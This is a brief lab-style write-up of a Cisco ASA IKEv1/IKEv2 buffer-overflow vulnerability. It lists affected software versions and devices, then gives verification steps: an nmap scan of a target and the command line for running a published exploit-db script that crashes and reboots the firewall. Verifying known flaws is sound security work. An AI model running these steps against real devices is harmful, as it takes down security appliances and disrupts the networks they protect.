Cisco ASA Software 8.x / 9.x – IKEv1 and IKEv2 Buffer Overflow

SOURCE:
RESULT:
-crashed ASA and force it to reboot

AFFECTED DEVICE:
Buffer overflow in the IKEv1 and IKEv2 implementations in
-Cisco ASA Software before 8.4(7.30), 8.7 before 8.7(1.18), 9.0 before 9.0(4.38), 9.1 before 9.1(7), 9.2 before 9.2(4.5), 9.3 before 9.3(3.7), 9.4 before 9.4(2.4), and 9.5 before 9.5(2.2) on ASA 5500 devices, ASA 5500-X devices
-ASA Services Module for Cisco Catalyst 6500 and Cisco 7600 devices, ASA 1000V devices
-Adaptive Security Virtual Appliance (aka ASAv), Firepower 9300 ASA Security Module, and ISA 3000

VERIFICATION:
-find open port using kali linux
# nmap -v -A 10.0.10.221
opened ports are 22 and 443

-download python script fromĀ https://www.exploit-db.com/exploits/39823/
# python 39823.py 10.0.10.221 10.0.10.103:443
10.0.10.103 is my pc ip
443 is port that we want to attack, we can use port 22 instead
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